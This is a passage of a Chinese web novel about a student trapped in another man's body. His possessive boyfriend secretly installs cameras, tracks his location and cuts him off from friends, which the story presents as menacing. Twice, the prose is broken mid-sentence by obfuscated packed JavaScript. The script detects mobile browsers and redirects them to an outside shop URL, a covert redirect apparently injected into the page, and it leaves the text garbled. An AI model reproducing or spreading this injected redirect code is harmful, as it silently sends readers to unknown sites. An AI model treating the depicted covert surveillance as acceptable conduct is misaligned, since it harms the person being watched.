于是,他努力让自己的语气听起来更轻快一些,主动牵起白越的手: “我们不跟他们一般见识!走,我带你去吃好吃的!这顿我请你好啦!” 当然,用的是温清然的饭卡。 他拉着白越,顺着人流向更远的食堂走去,把所有的不愉快都暂时抛在了脑后。 沈恪拉着他往前走时,白越微微低下头,额发垂落,遮住了所有表情。 心里那片刚才因沈恪维护而升起的罕见的温热,正在被另一种更熟悉的冰冷锐利的算计覆盖。 廖辰。 于送风那条疯狗的朋友,艺术系那个出了名会来事的掮客,专替有钱人牵线搭桥。温清然过去那些走马灯似的短期床伴,至少有一半是他递到眼前的。 他今天出现在这里,绝不可能是偶遇。 是于送风那条被甩掉的疯狗不甘心,找兄弟来看看情况?还是温清然那个圈子里的人,已经开始察觉到他最近的异常,发现他不再赴约、不再回复调情、甚至破天荒地开始认真上课、维护一个他们眼里家室肮脏上不得台面的废物二世祖? 白越抿了抿唇。 不论是哪种,都令人不悦。 沈恪还在他身边,用那种笨拙又真诚的语气说着“不跟他们一般见识”,手心传来毫无防备的温暖和力道。这个灵魂干净得像一张白纸,对围绕着他的肮脏与算计一无所知。 ……这样也好。 白越缓缓抬起眼睫,从发丝的缝隙里,看向沈恪因为走路而微微泛红的侧脸。 无知,才能毫无保留。 单纯,才能完整占有。 至于那些苍蝇…… 他的眸色沉了沉。 他正想着,沈恪忽然转过头,眼睛亮晶晶地指着前面:“到了!就这个食堂吧!这里人多,肯定好吃!” 白越立刻抬起头,脸上只剩下一层柔软的微笑。他轻轻回握沈恪的手,声音温顺: “嗯,都听宝宝的。” 阳光透过树叶的缝隙,斑驳地落在他苍白的脸上。 那笑容干净无害,仿佛刚才心里转过的那些冰冷骇人的念头,从未存在过。 9. 说了个谎 夜雨不知何时停了。 白越将沈恪送回了家,沈恪回到温清然的住所,灯都没开,便迫不及待地掏出了手机。 屏幕的冷光照亮他紧张又期待的脸。 他深吸一口气,直接输入那串早已烂熟于心的号码。 等待接通的间隙,沈恪手心里全是汗,心跳快得吓人。 他该怎么开口?说“妈,我是小恪”?他们会信吗?会不会觉得是恶作剧? “喂?您好,哪位?” 电话接通了。是妈妈的声音。有些疲惫,但依旧是他熟悉了十八年的温软语调。 “妈!”沈恪猛地喊出声,声音又急又哑,“是我!我是小恪!” 电话那头沉默了两秒。 然后,是妈妈陡然拔高的怒音:“你这人有毛病吧?!搞诈骗搞到我们这种家庭头上来了?我儿子好端端躺在医院里呢!” “不是,妈你听我说!真的是我!我,我现在……我现在情况很特殊,我用了别人的身体,但我真的是沈恪!我的生日是十月七号,我小时候最怕打针,我枕头底下还藏着你缝的平安符……”因为激动,沈恪说得语无伦次。 “闭嘴!”妈妈的声音尖锐地打断他,带着明显的恐惧,“我不知道你从哪里打听到这些的!我警告你,别再骚扰我们!” “妈!你和谁唠这么大声呢?吵死了!”一个熟悉又陌生的、带着浓浓不耐烦的声音,忽然从电话背景音里插了进来,“别管了好不好!我饿了!我要吃——饭!!!” 那声音…… 沈恪浑身的血液,在那一瞬间,彻底凉透了。 那是他自己的声音,他绝不会认错。 可那语调、那股理直气壮的任性、那种毫不掩饰的不耐烦……全都陌生得可怕。他永远也不可能这么对妈妈说话的。 “哎呦,做个手术怎么脾气变得这么大……”妈妈的声音立刻软了下来,带着无奈和纵容的抱怨,“来了来了,妈这就去医院食堂给你热饭嗷。乖啊,别生气。” 然后,电话被匆忙挂断。 沈恪僵硬地举着手机,维持着接听的姿势,站在那里。客厅没有开灯,只有窗外远处路灯透进来的一点微光。光晕模糊了他的轮廓,却清晰映出他骤然失焦的瞳孔,和脸上迅速褪去的血色。 手机从他的指间滑落,啪地一声掉在地毯上,屏幕暗了下去。 沈恪慢慢地、慢慢地蹲下身,抱住自己的膝盖,把脸深深埋了进去。 肩膀开始无法控制地颤抖。 起初只是压抑的抽噎,像受伤的小动物在呜咽。但很快,那呜咽变成了抑制不住的哭泣。眼泪汹涌而出,迅速浸湿了他膝头的布料。 心脏又酸又胀的,疼得他喘不过气。 妈妈没认出他。 甚至连他的身体,也被别人占据了。 那个用他的声音说话的人是谁?是温清然吗?还是别的什么?为什么会在他的身体里?以后是不是换不回来了?他要永远用着温清然这个渣男的身份活下去?爸爸妈妈会一直陪着那个人,直到忘记真正的他吗? 他想怪他们,怪他们听不出他的声音,怪他们轻易就被一个冒牌货骗了。可他知道,这不能全怪他们。谁会相信灵魂互换这种天方夜谭? 因为那个冒牌货会说话,会发脾气,会喊饿,正活生生地躺在他们面前。 而他,只是一个用着陌生的号码,说着荒诞故事的陌生人。 巨大的惶恐像冰冷的潮水没顶而来。他忍不住往最坏的方面去想。 如果永远换不回来……那他该怎么办?白越怎么办?那个占据了他身体的家伙,又会用他的身份做什么? 想到自己身体的特殊,再联想到温清然对感情和他人心意的随意践踏,沈恪就不免开始惶恐,甚至感到一阵生理性的恶心。 “叩、叩、叩。” 不轻不重的敲门声,忽然响起。 沈恪猛地一颤,哭声戛然而止。他慌乱地抬起头,脸上泪痕交错,眼睛红肿。他手忙脚乱地用手背擦脸,但那湿漉漉的痕迹一时半会儿根本擦不干净。 他冲到卫生间,打开水龙头,用冷水狠狠地泼了几下脸,才匆匆跑过去开门。 门外,白越提着一个小巧的保温袋,脸上带着温柔的笑意。看到沈恪开门,他很自然地伸出手,在他还有些潮湿的头发上轻轻揉了一把。 “我看你晚上没吃多少,”他的声音很轻,“想着你可能会饿,就简单做了点夜宵。” 白越那熟悉的带着安抚意味的触碰从头顶传来。沈恪鼻子一酸,差点又掉下泪来。他连忙低下头,侧身让开,声音闷闷的:“……嗯,你进来吧。” 他不敢抬头,怕被白越看出异样。 白越提着保温袋走进厨房,轻车熟路地拿出碗碟,将还冒着热气的海鲜粥和小菜摆好。温暖的香气立刻弥漫开来。 “过来吃一点。”白越招呼他。 沈恪慢吞吞地走过去,在餐桌旁坐下。他拿起勺子,舀了一勺粥,送进嘴里。粥熬得恰到好处,鲜香软糯,是他喜欢的口味。 可他现在食不知味。 白越坐在他对面,没有吃,只是静静地看着他。灯光下,沈恪低垂的睫毛还在轻微颤抖,鼻尖和眼眶的红晕并未完全消退,握着勺子的手指也有些颤抖。 “宝宝,”白越忽然开口,声音里带着一如既往的温和体贴,“你看起来兴致不高,是不是……心里藏着什么事?” 他发现了。 沈恪心头一紧,摇摇头。 “不想说也没关系。”白越的声音更柔和了,“那先吃点东西。你晚上没怎么吃,胃会不舒服的。” 他顿了顿,目光落在沈恪强装镇定却难掩脆弱的神情上,语气里充满了毫不作伪的关切:“不管发生什么,宝宝,你都可以告诉我。也许我帮不上大忙,但至少……可以陪着你,听你说说话。” 沈恪被这过分温柔的话语搞得鼻头一酸。 他失去了自己的身份,失去了家人的信任,一无所有,惶惶不可终日。只有白越,只有眼前这个人,还毫无保留地对他好,给他温暖,关心他是不是饿了,是不是不开心……尽管这关心是针对阿然的,可他还是很感动。 巨大的委屈和心头的恐慌,在这份看似无条件的温柔面前,瞬间冲垮了沈恪最后的心防。 他肩膀猛地一颤,一直强忍的眼泪终于再次决堤,大颗大颗地砸进面前的粥碗里,晕开小小的涟漪。他慌忙低下头,想掩饰,但哽咽已经压抑不住地从喉咙里泄出。 “……没事。”他带着浓重的哭腔,试图掩饰,“你做的菜……好吃到哭。” 话一出口,他自己都觉得这借口荒谬得可笑。 白越似乎也被这个答案弄得愣了一下。他看着沈恪不断掉落的眼泪,心底某个冰冷坚硬的角落,像是被这滚烫的液体烫了一下,泛起一丝奇异的悸动。但更多的,是一种幽暗的愉悦。 他站起身,走到沈恪身边,弯下腰,伸出手,用指腹极其轻柔地擦去沈恪脸上的泪痕。 “好笨的借口。”他轻声说,声音里没有责备,只有一种近乎叹息的包容。 啊啊。 看,还是哭了。 真可怜。 起先,他只是想看看,这个顶着温清然皮囊死而复生的东西,到底是个什么成色,又会演一出怎样滑稽的戏。就在他去拿车钥匙的那短短几分钟里,他已经提前在沈恪的住所里,装好了不起眼的微型监控。 没想到,竟有如此意外的收获。 一个干净得几乎透明,善良到近乎愚蠢,又对他充满莫名同情和保护的全新灵魂。是第二人格吗?还是另一个人?算了,不重要。 这个新人,比预想中最有趣的剧本,还要有趣千万倍。 从他看到沈恪蹲在地上崩溃颤抖的那一刻起,就在耐心等待这个瞬间。诱导、关切、温暖的问候……一切不过是为了让这只惊慌失措的小动物,主动将最柔软的肚皮和泪水,袒露在他面前。 看他因为失去归属而崩溃,看他无人可依,最终只能蜷缩在自己身边,接受他精心编织并提供的温暖和安慰。这份掌控感,连同沈恪滚烫咸涩的泪水一起,熨帖着他心底最深处的掌控欲。 白越俯身,将还在无声抽泣的沈恪轻轻揽进怀里。他的动作温柔至极,手臂环住沈恪单薄的肩膀,另一只手轻轻拍着他的后背,像在安抚受惊的幼崽。 “没事了,宝宝。”他贴在沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265378|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恪耳边,低声哄着,“有我在呢。” 沈恪僵硬的身体,在这个拥抱里,一点点软化下来。他把脸埋在白越的颈窝,眼泪无声地浸湿了对方柔软的衣料。 *** 那晚之后,接下来的半个月又回到了正轨。 除了睡觉和回各自别墅洗澡的那点私人时间,白越几乎无孔不入。早上会准时带着早餐出现在他家门口,一起上课,一起吃午饭,下午没课的时候,白越会带他去图书馆,或者就在沈恪别墅的客厅里,两人各做各的事。沈恪看他的闲书或尝试预习完全看不懂的功课,白越则用笔记本电脑处理一些沈恪看不懂的数据和表格。 沈恪不是没尝试过拥有一点私人时间。 祈愿在群里疯狂@他:【晚上有活动,来不来?哥带你找美女!】 沈恪还没想好怎么回,感觉可以借着没课的时间去医院看一眼。坐在旁边沙发上刷手机的白越就恰好抬起头,轻声咳了两下,脸色显得有些苍白:“宝宝,我好像有点头晕……可能是昨晚没睡好。” 沈恪立刻放下手机:“没事吧?要不要回去休息?” “不用,”白越摇摇头,对他露出一个虚弱的微笑,甚至主动往他这边靠了靠,“你陪着我坐一会儿就好。” 沈恪只好在群里回复:【晚上有事,不去了。】 周日,祈愿直接一个电话打过来:“出来打球!三缺一!” 电话背景音嘈杂,沈恪握着手机,看向正在厨房认真给他剥虾的白越。白越似乎听到了动静,转过头,沾着酱汁的手指无意识地在围裙上擦了擦,眼神带着点询问。 沈恪莫名感到一阵心虚,对着电话那头说:“我……我下午还有事。” “你能有什么事?你真要当好学生了?”祈愿嗤笑。 “……反正就是有事!”沈恪匆匆挂了电话。 白越将剥好的虾肉放进他碗里,状似无意地问:“是祈愿吗?他好像经常找你出去玩。” 沈恪含糊地嗯了一声。 “宝宝的朋友圈真广,”白越垂下眼,声音低了下去,“可我除了宝宝,都不知道该找谁。” 一次,两次,三次…… 每次有能正当出门的理由出现,总会被各种意外打断——白越突然身体不适、准备了需要两人一起完成的惊喜、或者只是用一个失落的眼神,就让沈恪主动放弃了出去的念头。 沈恪感觉自己像是被一张温软的蛛网密密包裹,虽然舒适,却逐渐呼吸不畅。他去医院查看自己身体的计划一拖再拖,心里的焦灼与日俱增。 终于,在国庆假期,当祈愿又一次在群里嚷嚷要去A市新开的俱乐部见世面时,沈恪盯着那条消息,心脏狂跳。 他做了一个决定。 他私聊了祈愿,打字的手指因为紧张而微微发抖:【周末那个局,算我一个。】 祈愿秒回:【???太阳打西边出来了?你不是从良了吗?跟白家那小子上课上傻了?】 沈恪:【别问了,去不去?】 祈愿:【去去去!当然去!晚上八点,校门口集合,我开车,咱们直奔A市嗨个痛快!】 放下手机,沈恪深吸了好几口气,才勉强压下过快的心跳。他转向身边正在帮他检查作业的白越: “那个……白越,”沈恪开口,声音因为紧张而有些干涩,“国庆假期,祈愿他们组了个局,要去A市玩几天。我、我想去。” 他撒了谎。 他只是想蹭个车,到了A市就独自行动。目的地很明确,是那家他住过好几年的中心医院。 沈恪说完,心脏在胸腔里擂鼓般狂跳,几乎不敢看白越的眼睛。他很少说谎,更别说是对白越。 白越听完后,没有立刻说话。 他只是直勾勾地看着沈恪,看了很久很久。视线如有实质,带着粘稠的湿度,缓慢地、无声地缠绕上来,裹住沈恪的呼吸和心跳。 就在沈恪快要承受不住,几乎要脱口而出“我不去了”时—— 白越的嘴唇,轻轻动了动。 “这样啊。”他的声音很轻,很平,没有任何起伏。 然后,他缓缓地、极慢地,弯起嘴角,露出微笑。 “好的。” 10. 掉马危机 白越答应了。 沈恪猛地松了一口气。这是他在白越面前第一次说谎,不敢再多待,含糊地应了一声,几乎是逃也似的转身上楼去收拾行李。 推开卧室门,走到衣柜前,拉出一个小的行李箱。 他蹲下身,从抽屉里拿出几件换洗衣物,心不在焉地往里塞。脑子里乱糟糟的,想着A市、医院、父母电话里那个陌生的声音、还有白越刚才那个眼神…… 就在这时。 一股雪松气香,悄无声息地从身后笼罩下来。 紧接着,一具温热的身体,幽灵般轻轻贴上了他的后背。 沈恪浑身一僵,血液瞬间冲上头顶。 白越的手臂,从他的颈侧缓慢地环了过来,松松地地环住了他的脖颈。他的下巴轻轻搁在沈恪的颈窝,温热的呼吸拂过沈恪敏感的耳廓和太阳穴。 “我果然……”白越的声音贴着他的耳朵响起,很轻,紧接着是眷恋的叹息,“还是很不喜欢你出去呢。” 他的嘴唇,似有若无地擦过沈恪的耳尖。 “一想到会有那么多陌生人看到你,和你说话,”他的手臂收紧了一瞬,“这里……” 他垂下来的那只左手,轻轻按在了沈恪左胸的位置。隔着衣物,感受着底下因为惊吓而狂跳的心脏。 “……就会很难受。” 沈恪整个人僵在原地,动弹不得,大脑一片空白。后背紧贴着白越的胸膛,能清晰感受到对方平稳的心跳和体温。脖颈被环住,耳畔是温热的气息和令人心悸的低语。 太亲昵了,这个姿势。 像被大型掠食者从背后温柔地扼住要害,明明没有用力,却让人浑身发冷。 “就两天,”沈恪听到自己干涩的声音,“我很快就会回来的。” 他说得越来越心虚。 会回来吗? 会的吧?应该。大概率是会的。 他至少要去看一眼。看一眼自己那具身体到底怎么样了,是被温清然的意识占据了吗?就像自己正用着温清然的身体一样。只有确定了情况,他才能知道下一步该怎么办,该怎么把这一切错误纠正过来。 如果能换回来,那他和白越之间这场荒诞的恋爱,就真的到此为止了。 那白越呢? 他会被“阿然”的突然消失伤害吗?还是会因为真正的温清然回归而被继续伤害? 沈恪在内心混乱地想了想,给自己找了个理由。 他会回来看他的。 等一切尘埃落定,等他找回自己的身体,他会用沈恪的身份回来看他。告诉他一切真相,然后……然后怎么样呢?他不知道。 不过白越大概率也不会信。就像他第一次坦白那样,白越只会觉得他的阿然变了,一定是想和自己分手,突然冒出来的沈恪只是个说着奇怪话的人。 “嗯。”白越低低应了一声,像是接受了这个说法。但他并没有立刻松开手。 他就这样静静地抱着沈恪,脸颊依赖地蹭了蹭沈恪柔软的发丝。可那环在沈恪脖颈上的手臂,和紧贴后背的体温,却又无时无刻不在昭示着他的不愿。 过了好一会儿,他才带着无限留恋般地,松开了手。 沈恪像只受惊的兔子般弹开,转过身,看着刺客正安静站在原地的白越。 白越站在原地,看着自己空落落的手心,又抬眼看向沈恪,眼神里带着一种茫然的的无措。他向前走了一小步,却又停在原地,像是怕被拒绝。 “只是有点事要去做!”沈恪语速飞快,左右环顾,就是不看白越的眼睛,“我、我要去A市一趟!去玩!很快就回来的!” “真的吗?” 白越的声音响起来,很轻,带着点忐忑的求证意味。沈恪忍不住去看,他整个人看起来都焉了,像是被抽走了支撑的藤蔓,柔软又脆弱地耷拉下来。 拜托了……别这么看着我啊…… 沈恪心里那点负罪感又开始疯狂滋长。他犹豫着,挣扎着,最终还是试探性地往前挪了一小步,伸出手,轻轻地抱了抱白越。 这是一个很生涩的拥抱。手臂僵硬,身体也没有完全贴合,更像是一种象征性的安抚。 “会回来的,我发誓。”他闷闷地说。 白越被他拥抱后,身体顿了一下,随即,沈恪感觉到那双一直垂着的手臂,更用力地回抱了过来,将他紧紧箍住,力气大得沈恪都觉得有点点痛了。 “唔……”白越发出一声满足的轻哼,把脸埋进沈恪的颈窝,深深吸了一口气。 然后,他微微抬起头,温软的唇瓣蹭过沈恪敏感的耳垂,激起一阵细密的战栗。湿热的气息钻进耳蜗,带着令人心悸的温柔: “好。” 他说。 “我等你。” *** 周日晚七点,沈恪拖着行李箱走出了别墅大门。 白越倚在他那辆黑色卡宴上,已经在门口等他了。他动作自然地从沈恪手里接过箱子放进了后备箱。 “我送你去学校。” 沈恪迟钝地眨眨眼,说了句谢谢,上了车。 空调温度调得恰到好处,舒缓的轻音乐在车内流淌。沈恪靠在椅背上,连日来的紧张和昨晚的失眠让他有些昏昏欲睡。就在他意识逐渐模糊的前一刻,一个念头忽然划过脑海。 他好像……并没有告诉过白越自己要在哪里集合啊? 祈愿只在群里说了校门口,但具体是哪个门、几点,他都没有和白越提过。 那白越是怎么知道的? 是祈愿说的? 沈恪睁开眼,看向驾驶座上的白越。白越专注地开着车,侧脸在傍晚的光线里显得格外柔和,嘴角甚至还带着浅浅的笑意。 应该是他问过祈愿了吧。 沈恪甩开心里那点莫名的不安,重新闭上了眼睛。 到了学校附近,因为明天开始就是国庆假期,大多学生趁着这个时间回了家,校园里显得格外冷清。校门口只有零星几个人。 祈愿和另外两个男生凑在一辆扎眼的红色敞篷跑车旁,看到白越的车停下,祈愿抬了抬下巴。 白越将车辆稳稳停在他们面前,沈恪下了车。 祈愿招手:“走了走了,赶紧的,现在去还能赶得上夜场。” 沈恪点点头,转身想去后备箱拿行李,白越却已经先一步将箱子提了出来,递到他手里。 “宝宝。”白越忽然拽住他的手腕。 沈恪回头,对上白越的眼睛。他又露出了那种熟悉的可怜兮兮的表情,声音低低的:“不和我告个别吗?” 怎么看起来就像是只被无良主人抛弃了的狗狗啊。 沈恪莫名想到。 旁边三人正饶有兴致地看着这边,他的脸瞬间有些发烫。短暂的纠结后,轻轻环抱住白越,低声道:“我会尽早回来的。” 白越反手紧紧抱住他,力道很大,勒得沈恪有些疼。 在沈恪看不到的角度,白越的目光越过了他的肩膀,落在那三人身上。他的眼神平静无波,心里却已经转过了无数个念头—— 得让他们……离他再远一点。 这次回来,就再也别想有朋友了。 白越轻轻地拍了拍沈恪的背。在沈恪松开手的瞬间,低头,温柔而微凉的触感便悄然滑入对方的颈窝。 那是白越的唇。 动作轻柔,似乎只是在偷尝禁果,却让沈恪心中的悸动愈发猛烈,连呼吸都忘了。 沈恪的脸颊因为羞涩而染上了淡淡的红晕,他不由自主地想象着其他人此刻的表情,心中一阵慌乱,瞬间变得手足无措。 过了好一会儿,白越才轻轻推开沈恪,视线划过他被挑逗后变得嫣红的耳尖,满意地微笑着挥了挥手:“去吧,早点回来。” 沈恪几乎是逃也似的在几人调侃的口哨中钻进了祈愿的副驾。 “喂喂喂,你不会……”祈愿上下打量着他,笑得促狭,“是下面那个吧?” “你不是誓不做零吗?”另外两人其中那个染了一头张扬红发的男生也嬉笑着凑了过来,“当1太累了,想享受享受了?” 他们都在胡说些什么啊!怎么可以对人随随便便开这样的玩笑! 沈恪一张脸红了个彻底,催着祈愿赶紧离开。 祈愿笑着发动了车子,红色跑车发出一阵轰鸣,驶离了校门口。 等到祈愿的车子消失在了视野里,白越才缓缓收回目光。指尖轻抚过方才触碰过沈恪的唇瓣,仿佛那里还残留着对方的体温。他轻轻摩挲着,动作缓慢而专注,好像在回味。 随后,他的目光落在手机屏幕上,那个代表沈恪的红色光点正在快速移动。白越的指尖轻轻划过屏幕,仿佛这样就能随着那一点红光,一同抵达他心中所念的地方。 *** 车上音乐开得震天响。 安阳,也就是红发男,从后座探出来半个身子,戳了戳沈恪,笑容猥琐:“温大爷。你和白家那小子交往也快有三个月了吧?” “睡到没?” 睡到没?睡什么?白越?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈恪哦了一声,解开安全带,跟着他下了车。只留安阳和顾云岚留在原地看车。 高速路上的堵车长龙一眼望不到头,不少人都下车活动筋骨。祈愿领着沈恪走到一辆面包车后,那里有个小贩正在卖自热食品。 “五十一份。”小贩头也不抬。 祈愿扫码付款,拿了两份自热火锅,递了一份给沈恪:“吃吧,还不知道要堵多久。” 沈恪有些受宠若惊:“谢谢!” 两人找了个相对干净的路肩坐下。沈恪小心翼翼地打开包装,按照说明操作。热气很快冒了出来,带着麻辣的香气。 他掰开一次性筷子,小口小口地吃起来。折腾了一晚上,他确实饿了。 祈愿没有动自己的那份,只是侧头看着沈恪。他看着沈恪像小松鼠一样小口吃饭的样子,看着他用筷子的习惯,看着他亮晶晶的眼神。 看着看着,祈愿忽然笑了笑:“温少,你还记得我们从什么时候认识的吗?” 沈恪一愣,筷子停在半空中。 什么时候认识的? 他怎么可能知道呀! 他对于温清然的印象全部来自于周围人的反应和手机里的聊天记录。这种具体的问题,他根本不知道答案。 “答案是六岁。”祈愿自顾自地说下去,声音平静,“那会你刚搬来军区大院,我看你不爽,跟你打了一架。你把我鼻子打出血了,我爸妈还上门找你爸妈理论。” 他转过头,目光落在沈恪脸上,像是要透过这张皮囊看到里面的灵魂:“那是我第一次见你打架,也是最后一次。因为从那以后,我们就成了朋友。” 沈恪的心脏开始扑通扑通地加速跳动。 感觉不太妙。 他低下头,假装专注地搅动着碗里的食物:“那么久以前的事……我都快忘了。” “是吗。”祈愿的语气听不出情绪,“但我记得很清楚。我记得你打架的样子,记得你喜欢什么讨厌什么,记得你每一任对象的名字,记得你每一次失恋喝醉后说的胡话。” 他顿了顿,声音低了下去:“所以我才觉得奇怪。” 沈恪的手抖了一下,一滴红油溅到了手背上。 祈愿站起身,拍了拍裤子上的灰。他转过身,倚着护栏,背对着沈恪,忽地开口: “我说啊,你应该真的是温清然吧?” 沈恪的心,重重一跳。 手里的筷子,啪嗒一声,掉在了地上。 11. 同辈关系 “温清然去哪了?” 沈恪的心跳漏了一拍,他几乎是下意识地想张口,用那个演练过无数次的答案来搪塞: 我就是温清然,我只是忽然想通了,想要洗心革面争做五好青年走上幸福人生了…… “先别急着说,我观察你半个月了。”祈愿抬手打断了他,目光落在他的脸上,“你觉得一个人要蠢到什么地步,才能认不出来自己相处了十几年的兄弟,忽然从里到外彻底变了个人?” “惯用手变了,说话的方式变了,没事就泡图书馆,甚至你现在吃饭还会加香菜。” 他顿了顿,眼神似笑非笑:“你还记得你的游戏ID叫‘我不吃香菜’吗?” “都这样了要是一点都看不出来,要么是不敢承认现实,要么得去医院看看脑子。” 沈恪被祈愿这一连串追加攻击打得节节败退,尤其是听到最后一句,他的脸色瞬间白了下去。他想起那通打给母亲的电话,想起那个用他声音颐指气使的陌生存在,想起母亲毫不留情的挂断和那句报警的威胁。 一种比秋风更冷的寒意,从心底缓慢卷起,呼啸而过。 原来不被认出的滋味,在亲近的人眼里是这么明显,这么可疑。 那么,妈妈,你也是不敢承认“我”的不对劲才会那么做的吗? “抱歉,”沈恪低下头,声音闷闷的,带着疲惫,“我也不知道温清然去哪了。我这次来,就是想查清楚这件事的。” 祈愿的目光在他脸上停留了很久,像是在评判他这句话的可信度。 “我还以为你会狡辩。” 沈恪挠了挠头,露出一个有些窘迫的苦笑:“我……我一开始确实想狡辩来着。但感觉你好像特别笃定,说什么都好像没有用。”他顿了顿,声音更低了,“而且,撒谎挺累的。” 他不喜欢说谎。骗白越是迫不得已,骗祈愿是没有必要。 祈愿愣愣地看了他好一会儿,才冲着沈恪摆了摆手,哭笑不得:“行了,我信了……也难怪你会被骗得团团转。” 沈恪被他说得有些懵,心头却莫名一松,因为祈愿这反应并不像是要把他当怪物或者骗子扭送派出所的样子。 这让他紧绷的神经微微松懈下来。 “被骗了?”他眨了眨眼,疑惑地问,“我嘛?谁骗我啦?” 祈愿扶了扶额,怜悯地看着他:“就你这样的……”他叹了口气,像是在自言自语,“被白越那种家伙囫囵个儿吃掉,骨头渣都不剩,你搞不好还得含着眼泪跟他说谢谢。” 又来了。 沈恪的眉头立刻蹙了起来,心头那点对祈愿刚升起的信任和好感,又被冲淡了不少。 “怎么又在说白越坏话啊?”他声音里带上了明显的不满,甚至有点维护的意思,“他不是那种人。” 祈愿深深地看了他一眼,像是同情。然后他转过身,看向远处缓缓开始移动的车流。 “行吧你说不是就不是。”他的声音顺着风飘过来,带着一种懒得争辩的敷衍,却又在下一句陡然变得认真,“但我得提醒你一句,那家伙是个实打实的变态。他现在好像对你有点兴趣,但一旦兴趣没了就会很糟。” 他侧过脸,余光瞥向沈恪,补充道:“你要真好奇白越到底是个什么样的人,可以问问顾云岚那小子。他家和白家交往密切得很,知道的东西比外人多得多。” “车动了,走了。” 祈愿挥了挥手,大步朝着红色跑车走去,背影干脆利落,没有任何要继续交谈的意思。 最讨厌说话说一半另一半还要人猜的人了! 沈恪快步追上他,拉住了祈愿的手腕,眉头微蹙:“你能不能说清楚点?我听不懂这些谜语。” 祈愿难以置信地看了他一眼,那眼神仿佛在说“这种时候按小说发展的常理就该断在这里保持悬念了”。但沈恪的眼神太过干净,带着一种近乎固执的认真,他在原地僵了两秒,还是叹了口气,压低声音,只透露了一句: “白越,和白家那个老狐狸,是同辈。” 多的他可不敢说,回头要是泄露出去了,以白家那个规模,完全能悄无声息地把他埋在泥柱子里抠都抠不出来。 同辈? 沈恪的脑子有一瞬间的空白。脑海里一下子想起了医院楼下超市门口的摇摇车——爸爸的爸爸叫什么,爸爸的爸爸叫爷爷……不对,这不是重点。他有点太发散性思维了。 重点是什么? 是同辈。不是父子,不是叔侄,是同辈。 难道白越是私生子?白家上一辈某个人的私生子,所以虽然年轻,但理论上和现任家主是同辈?这个念头闪过,但似乎又不太对劲。 祈愿看着沈恪脸上那副茫然的表情,就知道对方根本没意识到这句话背后可能意味着多么诡异且不正常的家族结构。 他翻了个白眼,抬手在沈恪那一头金毛上用力揉了一把,把本就凌乱的发型揉得更像鸟窝。 “反正你记住,离他远点就行,能多远就多远。” 看着沈恪那副油盐不进的模样,祈愿心里有些烦躁。 当初温清然将那个阴郁苍白的邻居作为赌约的下手目标时,他就劝过对方,别去招惹白越。结果温清然听了反而更来劲,觉得这种高难度才刺激。 那么代价呢? 在温清然又一次翘课和不知名的床伴厮混完,回到别墅区里醉生梦死时,曾连续两天彻底失联,电话不接消息不回。如果不是最后电话被沈恪接起,他都要以为温清然已经被那个白越处理掉了,差点报了警。 沈恪被他揉得缩了缩脖子,乖乖地哦了一声,听起来像是听进去了。 但只有他自己知道,心里那个小小的声音在反驳: 他才不干。 不管白越是什么身份,有什么背景,是白家的什么人,都和白越这个人本身没有关系。那个会温柔地对他笑,会为他准备夜宵,会在他难过时笨拙安慰他的白越,明明是那么好的人。 即使……即使将来他能换回自己的身体,不再是温清然,他也一定要和白越成为朋友。真正的朋友。 他这么想着,眼神不自觉地又柔软下来,望向远处已经开始流动的车河,仿佛能穿透这遥远的距离,看到那个在别墅里等他回去的人。 祈愿看着他那副样子,就知道自己刚才的话算是全喂了空气。他无奈地摇摇头,转身走向跑车,懒得再多说。 有些坑,别人提醒了没用,非得自己掉进去摔一次,才知道疼。 *** 接下来的路时走时停,一行四人一路吵吵闹闹地,虽没赶上俱乐部的夜场入场,但终于在十二点前赶到了A市,住进了祈愿预约的酒店。 可祈愿只订了两间双人房。 现在太晚了,医院不会让非探视时间的人员进入。这也意味着他今晚只能和其他三人中选一人凑合一晚上。 沈恪下意识地看向看起来最好说话的安阳,冲他招了招手:“我们一起?” 安阳眼睛一亮,连连点头:“行啊温大爷!走,房间里有电脑,我带你去峡谷里上分!让你见识见识你安爷的厉害!” “熬夜?那干脆别睡了。”顾云岚伸出手,一把揪住安阳的衣领将人薅了回来,对着沈恪和祈愿摆了摆手,“你们也早点休息。” “顾云岚你个菜鸡赶紧给我松开!”安阳像只被捏住后颈皮的猫,四肢在空中胡乱扑腾,嘴里还在嚷嚷,“我要和温大爷住一屋!我俩兄弟今晚要决战到天亮!” 沈恪愣在原地,看着被顾云岚轻松制住的安阳,又看了看自己手里的房卡。 这样他不就只能和祈愿住一屋了吗? “行了,别看了。”祈愿似乎看出了他的窘迫,走过来拽住他的手腕就往电梯方向走,“人小两口睡觉,你凑什么热闹?” “小两口?”沈恪难以置信地回头看了一眼还在拉扯的安阳和顾云岚。 男的和男的……也可以是小两口吗? 这个念头冒出来的瞬间,他脑子里不知怎的,忽然闪过了那个落在颈窝轻柔又灼热的吻。他心头一跳,赶紧甩了甩头,试图把这些画面驱逐出去。 不,不对。他和白越是不一样的。白越只是太缺关爱了,太没有安全感了,所以才会对“阿然”产生这种过度的依赖。等他换回身体,一切都会回到正轨的,他会和白越成为朋友,然后劝他分手,不要再受到温清然的伤害。 就只是这样,没错。 “他俩是还没盖棺定论的唇友谊,偶尔会一起滚个床单。”祈愿按下电梯按钮,语气随意,“怎么,你很好奇?想听听细节?” “纯友谊?”沈恪眨了眨眼。 能好到一起睡觉、一起滚一个床单,一定是关系好到可以互相倾诉心事的地步了。 他郑重其事地点了点头:“那还挺好的。” “……” 祈愿盯着沈恪看了两秒,确认对方是真的没听懂,而不是在装傻。张了张嘴,似乎想解释,但最终只是无语地叹了口气。 “我都不知道怎么说你好。” 沈恪愣了愣,看向他:“Hello?” 